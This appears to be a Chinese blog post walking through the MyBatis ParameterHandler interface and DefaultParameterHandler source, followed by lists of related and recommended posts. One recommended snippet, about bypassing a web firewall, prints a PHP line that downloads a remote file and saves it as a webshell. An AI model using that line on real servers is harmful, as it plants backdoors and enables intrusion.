ParameterHandler接口是参数处理器,位于mybatis包的org.apache.ibatis.executor.parameter下,源码如下:

 public interface ParameterHandler {

 Object getParameterObject();//获取参数

 void setParameters(PreparedStatement ps)//设置参数
throws SQLException; }

可见ParameterHandler接口只有简单的两个方法,一个是获取参数一个是设置参数。ParameterHandler接口默认实现类是DefaultParameterHandler,主要源码如下:

 public class DefaultParameterHandler implements ParameterHandler {

 private final TypeHandlerRegistry typeHandlerRegistry;

 private final MappedStatement mappedStatement;
private final Object parameterObject;
private BoundSql boundSql;
private Configuration configuration; public DefaultParameterHandler(MappedStatement mappedStatement, Object parameterObject, BoundSql boundSql) {
this.mappedStatement = mappedStatement;
this.configuration = mappedStatement.getConfiguration();
this.typeHandlerRegistry = mappedStatement.getConfiguration().getTypeHandlerRegistry();
this.parameterObject = parameterObject;//设置参数
this.boundSql = boundSql;
} @Override
public Object getParameterObject() {
return parameterObject;//返回参数
} @Override
public void setParameters(PreparedStatement ps) {
ErrorContext.instance().activity("setting parameters").object(mappedStatement.getParameterMap().getId());
List<ParameterMapping> parameterMappings = boundSql.getParameterMappings();//获取所有参数,ParameterMapping是jdbc和java类型之间的对应关系
if (parameterMappings != null) {
//遍历所有参数,将java 类型设置成jdbc类型
for (int i = 0; i < parameterMappings.size(); i++) {
ParameterMapping parameterMapping = parameterMappings.get(i);
if (parameterMapping.getMode() != ParameterMode.OUT) {
Object value;
String propertyName = parameterMapping.getProperty();
if (boundSql.hasAdditionalParameter(propertyName)) { // issue #448 ask first for additional params
value = boundSql.getAdditionalParameter(propertyName);
} else if (parameterObject == null) {
value = null;
} else if (typeHandlerRegistry.hasTypeHandler(parameterObject.getClass())) {
value = parameterObject;
} else {
MetaObject metaObject = configuration.newMetaObject(parameterObject);
value = metaObject.getValue(propertyName);
}
TypeHandler typeHandler = parameterMapping.getTypeHandler();
JdbcType jdbcType = parameterMapping.getJdbcType();
if (value == null && jdbcType == null) {
jdbcType = configuration.getJdbcTypeForNull();
}
try {
typeHandler.setParameter(ps, i + 1, value, jdbcType);
} catch (TypeException e) {
throw new TypeException("Could not set parameters for mapping: " + parameterMapping + ". Cause: " + e, e);
} catch (SQLException e) {
throw new TypeException("Could not set parameters for mapping: " + parameterMapping + ". Cause: " + e, e);
}
}
}
}
} }

而ParameterHandler的初始化同样也是在Configuration中实现的,代码如下:

   public ParameterHandler newParameterHandler(MappedStatement mappedStatement, Object parameterObject, BoundSql boundSql) {
ParameterHandler parameterHandler = mappedStatement.getLang().createParameterHandler(mappedStatement, parameterObject, boundSql);
parameterHandler = (ParameterHandler) interceptorChain.pluginAll(parameterHandler);
return parameterHandler;
}

mybatis源码解析11---ParameterHandler解析的更多相关文章

  1. MyBatis 源码分析 - 映射文件解析过程

    1.简介 在上一篇文章中,我详细分析了 MyBatis 配置文件的解析过程.由于上一篇文章的篇幅比较大,加之映射文件解析过程也比较复杂的原因.所以我将映射文件解析过程的分析内容从上一篇文章中抽取出来, ...

  2. Spring mybatis源码篇章-MybatisDAO文件解析(二)

    前言:通过阅读源码对实现机制进行了解有利于陶冶情操,承接前文Spring mybatis源码篇章-MybatisDAO文件解析(一) 默认加载mybatis主文件方式 XMLConfigBuilder ...

  3. Spring mybatis源码篇章-MybatisDAO文件解析(一)

    前言:通过阅读源码对实现机制进行了解有利于陶冶情操,承接前文Spring mybatis源码篇章-SqlSessionFactory 加载指定的mybatis主文件 Mybatis模板文件,其中的属性 ...

  4. Mybatis 源码之Plugin类解析

    public class Plugin implements InvocationHandler { private Object target; //目标对象 private Interceptor ...

  5. MyBatis源码部分简单地解析

    . 一.解析xml: > org.apache.ibatis.session.SqlSessionFactoryBuilder.build(java.io.InputStream, java.l ...

  6. MyBatis 源码分析 - 配置文件解析过程

    * 本文速览 由于本篇文章篇幅比较大,所以这里拿出一节对本文进行快速概括.本篇文章对 MyBatis 配置文件中常用配置的解析过程进行了较为详细的介绍和分析,包括但不限于settings,typeAl ...

  7. Mybatis源码解析优秀博文

    最近阅读了许久的mybatis源码,小有所悟.同时也发现网上有许多优秀的mybatis源码讲解博文.本人打算把自己阅读过的.觉得不错的一些博文列出来.以此进一步加深对mybatis框架的理解.其实还有 ...

  8. MyBatis 源码分析 - 插件机制

    1.简介 一般情况下,开源框架都会提供插件或其他形式的拓展点,供开发者自行拓展.这样的好处是显而易见的,一是增加了框架的灵活性.二是开发者可以结合实际需求,对框架进行拓展,使其能够更好的工作.以 My ...

  9. Spring mybatis源码学习指引目录

    前言: 分析了很多方面的mybatis的源码以及与spring结合的源码,但是难免出现错综的现象,为了使源码陶冶更为有序化.清晰化,特作此随笔归纳下分析过的内容.博主也为mybatis官方提供过pul ...

  10. MyBatis 源码分析 - 缓存原理

    1.简介 在 Web 应用中,缓存是必不可少的组件.通常我们都会用 Redis 或 memcached 等缓存中间件,拦截大量奔向数据库的请求,减轻数据库压力.作为一个重要的组件,MyBatis 自然 ...

随机推荐

  1. Java锁机制(一)synchronized

    进行多线程编程的时候,需要考虑的是线程间的同步问题.对于共享的资源,需要进行互斥的访问.在Java中可以使用一些手段来达到线程同步的目的: 1. synchronized 2. ThreadLocal ...

  2. Cesium简单使用

    CesiumJS是一个基于javascript的浏览器器3d地图引擎 下载 https://cesiumjs.org/downloads/ 下载的Cesium-1.56.1,解压后的结构为 1.设置W ...

  3. [2]朝花夕拾-JAVA注解、PHP注解?

    一.Java注解概述 注解,也被称为元数据,为我们在代码中添加信息提供了一种形式化的方法,是我们可以在稍后某个时刻非常方便地使用这些数据. 注解在一定程度上是把元数据与源代码文件结合在一起,而不是保存 ...

  4. chrome 浏览器之下载管理器插件

    chrome默认下载器实在是不招人待见,下面插件是一个非常不错的选择: 名称:Chrono下载管理器 插件地址:https://chrome.google.com/webstore/detail/ch ...

  5. centos7上修改lv逻辑卷的大小

    author:headsen  chen date: 2019-03-18 15:24:22 1,查看 [root@localhost mnt]# df -h Filesystem Size Used ...

  6. hello 2019 D

    一开始sb了考虑总的因子疯狂T,做题太少了...没意识到会有辣么多因子... 神仙说1e9以内的最多的就有800个因子的了... 然后我们可以考虑质因子 我觉得已经说得很明白了... 唔逆元好像exg ...

  7. spring和jdbctemplate

    1.spring与jdbc整合应用 a.增删改 -获取connection -获取statement -设置sql中?参数 -执行sql操作 -释放connection b.查询 -获取connect ...

  8. 远程下载马bypass waf

    <?php file_put_contents('dama.php',file_get_contents('http://xxx/xx.txt'));?> php这个函数不算冷门 第一个参 ...

  9. PHP(css样式)

    布局页面的时候 大色块 小色块 ...(就是宽高) 内容布局:浮动,定位,显示,层级 浮动:float(样式名):值:left right设一个父标签,设定宽高,里面随便浮动!!!!!!!!!!!!! ...

  10. MSSQL:查看所有触发器信息的命令

    转自:http://www.2cto.com/database/201307/228708.html 编写程序,有时或为了偷懒,或为更简单地实现所需功能,使用了触发器.这可是把双刃剑,用得不好,程序出 ...